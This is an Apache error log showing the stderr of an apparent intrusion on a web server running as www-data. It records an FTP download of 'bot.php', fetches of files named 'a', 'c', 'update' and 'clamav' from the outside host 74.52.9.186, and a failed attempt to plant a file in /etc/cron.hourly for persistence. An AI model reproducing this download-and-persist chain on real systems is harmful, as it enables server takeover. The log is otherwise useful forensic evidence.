[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 1
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] Logged in!
[Sun Nov 03 02:04:45 2013] [error] [client 37.187.77.137] ==> SYST ...
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] done. ==> PWD ...
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] done.
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] ==> TYPE I ...
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] done. ==> CWD not needed.
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] ==> SIZE bot.php ...
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 15138
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] ==> PASV ...
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] done. ==> RETR bot.php ...
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] done.
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] Length: 15138
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] (15K) (unauthoritative)
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0K .
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] \r
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] .....
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 2
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:46 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] .. .
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] 100%
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] 58.0K=0.3s
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] 2013-11-03 02:04:47 (58.0 KB/s) - `bot.php' saved [15138]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] % Total % Received % Xferd Average Speed Time Time
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] Time Current
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] Dload Upload Total Spent Left Speed
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] \r 0
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] \r
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:47 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] 3
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] :
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] -
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:48 2013] [error] [client 37.187.77.137] \r 0 0 0 0 0 0 0 0 --:--:-- 0:00:01 --:--:-- 0
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] \r
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] 0 0 0 0 0 --:--:-- 0:00:04 --:--:-- 0
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] 200 OK
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] Length: 6906 (6.7K) [text/plain]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] Saving to: `lol'
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] 0K .
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] \r100 15138 100 15138 0 0 8450 0 0:00:01 0:00:01 --:--:-- 9102
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] sh: fetch: command not found
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] \r100 256 100 256 0 0 53 0 0:00:04 0:00:04 --:--:-- 67\r100 256 100 256 0 0 53 0 0:00:04 0:00:04 --:--:-- 67
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] --2013-11-03 02:04:49-- http://74.52.9.186/c
[Sun Nov 03 02:04:49 2013] [error] [client 37.187.77.137] Connecting to 74.52.9.186:80...
[Sun Nov 03 02:04:50 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:04:50 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:04:50 2013] [error] [client 37.187.77.137] . 100% 5.87K=1.1s
[Sun Nov 03 02:04:50 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:50 2013] [error] [client 37.187.77.137] 2013-11-03 02:04:50 (5.87 KB/s) - `lol' saved [6906/6906]
[Sun Nov 03 02:04:50 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:50 2013] [error] [client 37.187.77.137] connected.
[Sun Nov 03 02:04:50 2013] [error] [client 37.187.77.137] HTTP request sent, awaiting response...
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] % Total % Re
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] ceived % Xferd Average Speed Time Tim
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] e T
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] ime C
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] urrent
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] Dload
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] Upload Total Spent
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] Left S
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] peed
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] \r 0
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] 0 0
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] 0
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] --:--:
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] -- 0:00:01
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] --:--:-
[Sun Nov 03 02:04:51 2013] [error] [client 37.187.77.137] - 0
[Sun Nov 03 02:04:52 2013] [error] [client 37.187.77.137] \r
[Sun Nov 03 02:04:52 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:52 2013] [error] [client 37.187.77.137] 0 0 0 0 0 0 0 0 --:--:-- 0:00:02 --:--:-- 0
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137] 200 OK
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137] Length: 256 [text/plain]
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137] Saving to: `c.1'
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137] 0K
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137] 100%
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137] 24.0M=0s
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137] 2013-11-03 02:04:53 (24.0 MB/s) - `c.1' saved [256/256]
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137] --2013-11-03 02:04:53-- http://74.52.9.186/a
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137] Connecting to 74.52.9.186:80...
[Sun Nov 03 02:04:53 2013] [error] [client 37.187.77.137] \r 0 0 0 0 0 0 0 0 --:--:-- 0:00:03 --:--:-- 0
[Sun Nov 03 02:04:54 2013] [error] [client 37.187.77.137] connected.
[Sun Nov 03 02:04:54 2013] [error] [client 37.187.77.137] HTTP request sent, awaiting response...
[Sun Nov 03 02:04:54 2013] [error] [client 37.187.77.137] \r 59 6906 59 4092 0 0 980 0 0:00:07 0:00:04 0:00:03 1290
[Sun Nov 03 02:04:54 2013] [error] [client 37.187.77.137] \r 80 6906 80 5540 0 0 1281 0 0:00:05 0:00:04 0:00:01 1667
[Sun Nov 03 02:04:54 2013] [error] [client 37.187.77.137] \r100 6906 100 6906 0 0 1596 0 0:00:04 0:00:04 --:--:-- 2077
[Sun Nov 03 02:04:54 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:54 2013] [error] [client 37.187.77.137] sh: fetch: command not found
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137] 200 OK
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137] Length: 712 [text/plain]
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137] Saving to: `a'
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137] 0K
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137] 100%
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137] 65.0M=0s
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137] 2013-11-03 02:04:55 (65.0 MB/s) - `a' saved [712/712]
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137] no crontab for www-data
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137] --2013-11-03 02:04:55-- http://74.52.9.186/update
[Sun Nov 03 02:04:55 2013] [error] [client 37.187.77.137] Connecting to 74.52.9.186:80...
[Sun Nov 03 02:04:56 2013] [error] [client 37.187.77.137] connected.
[Sun Nov 03 02:04:56 2013] [error] [client 37.187.77.137] HTTP request sent, awaiting response...
[Sun Nov 03 02:04:57 2013] [error] [client 37.187.77.137] 200 OK
[Sun Nov 03 02:04:57 2013] [error] [client 37.187.77.137] Length: 208 [text/plain]
[Sun Nov 03 02:04:57 2013] [error] [client 37.187.77.137] Saving to: `update'
[Sun Nov 03 02:04:57 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:57 2013] [error] [client 37.187.77.137] 0K
[Sun Nov 03 02:04:57 2013] [error] [client 37.187.77.137] 100%
[Sun Nov 03 02:04:57 2013] [error] [client 37.187.77.137] 19.1M=0s
[Sun Nov 03 02:04:57 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:57 2013] [error] [client 37.187.77.137] 2013-11-03 02:04:57 (19.1 MB/s) - `update' saved [208/208]
[Sun Nov 03 02:04:57 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:04:57 2013] [error] [client 37.187.77.137] cp: cannot create regular file `/etc/cron.hourly/update': Permission denied
[Sun Nov 03 02:04:58 2013] [error] [client 37.187.77.137] chattr: No such file or directory while trying to stat bash
[Sun Nov 03 02:04:58 2013] [error] [client 37.187.77.137] chattr: Operation not supported while reading flags on god.17165.sock
[Sun Nov 03 02:04:58 2013] [error] [client 37.187.77.137] chattr: Permission denied while setting flags on hsperfdata_root
[Sun Nov 03 02:04:58 2013] [error] [client 37.187.77.137] chattr: Permission denied while reading flags on passenger.27075
[Sun Nov 03 02:04:58 2013] [error] [client 37.187.77.137] --2013-11-03 02:04:58-- http://74.52.9.186/clamav
[Sun Nov 03 02:04:58 2013] [error] [client 37.187.77.137] Connecting to 74.52.9.186:80...
[Sun Nov 03 02:05:01 2013] [error] [client 37.187.77.137] connected.
[Sun Nov 03 02:05:01 2013] [error] [client 37.187.77.137] HTTP request sent, awaiting response...
[Sun Nov 03 02:05:17 2013] [error] [client 37.187.77.137] 200 OK
[Sun Nov 03 02:05:17 2013] [error] [client 37.187.77.137] Length: 379680 (371K) [text/plain]
[Sun Nov 03 02:05:17 2013] [error] [client 37.187.77.137] Saving to: `clamav'
[Sun Nov 03 02:05:17 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:05:17 2013] [error] [client 37.187.77.137] 0K .
[Sun Nov 03 02:05:17 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:17 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:18 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:18 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:18 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:18 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:18 2013] [error] [client 37.187.77.137] . .
[Sun Nov 03 02:05:18 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:19 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:20 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:20 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:20 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:20 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:20 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:20 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:21 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:21 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:21 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:21 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:21 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:21 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:21 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:22 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:22 2013] [error] [client 37.187.77.137] . 13% 9.80K 33s
[Sun Nov 03 02:05:22 2013] [error] [client 37.187.77.137]
[Sun Nov 03 02:05:22 2013] [error] [client 37.187.77.137] 50K ..
[Sun Nov 03 02:05:22 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:22 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:22 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:22 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:22 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:23 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:23 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:23 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:23 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:23 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:23 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:23 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:23 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:24 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:24 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:24 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:24 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:24 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:24 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:24 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:24 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:24 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:25 2013] [error] [client 37.187.77.137] .
[Sun Nov 03 02:05:25 2013] [error] [client 37.187.77.137] ..
[Sun Nov 03 02:05:25 2013] [error] [client 37.187.77.137] .
